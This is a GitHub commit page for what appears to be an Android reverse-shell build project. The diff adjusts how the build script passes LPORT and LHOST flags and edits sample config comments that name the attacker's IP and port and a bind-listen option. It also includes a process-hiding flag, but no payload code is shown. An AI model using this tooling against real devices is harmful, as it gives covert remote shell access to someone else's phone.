Skip to content

Commit f8429fb

Browse files
author
ng
committed
fix wrong definitions
1 parent bea23ef commit f8429fb

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

build_revshell.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -331,7 +331,7 @@ def build_binary(args):
331331
base_flags += ' MAGISK_DEBUG=1'
332332

333333
if 'executor' in args.target:
334-
flags = f'B_EXECUTOR=1 B_64BIT=1 LPORT={config.get("lport")} LHOST={config.get("lhost")}'
334+
flags = f'B_EXECUTOR=1 B_64BIT=1 LPORT={config.get("lport") or ""} LHOST={config.get("lhost") or ""}'
335335
if config.get("hide_process_bind") == "1":
336336
flags += ' HIDE_PROCESS_BIND=1'
337337
run_ndk_build(flags)

config.prop.sample

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -34,8 +34,8 @@
3434
# (see native/jni/payload/executor.cpp)
3535
#####################################################
3636

37-
# lport=31337 # Attacker's port
38-
# lhost=192.168.0.10 # Attacker's IP
37+
# lport=31337 # Attacker's (or local bind) port. Default: 31337
38+
# lhost=192.168.0.10 # Attacker's IP. If not present, will listen on LPORT
3939

4040

4141
#####################################################

0 commit comments

Comments
 (0)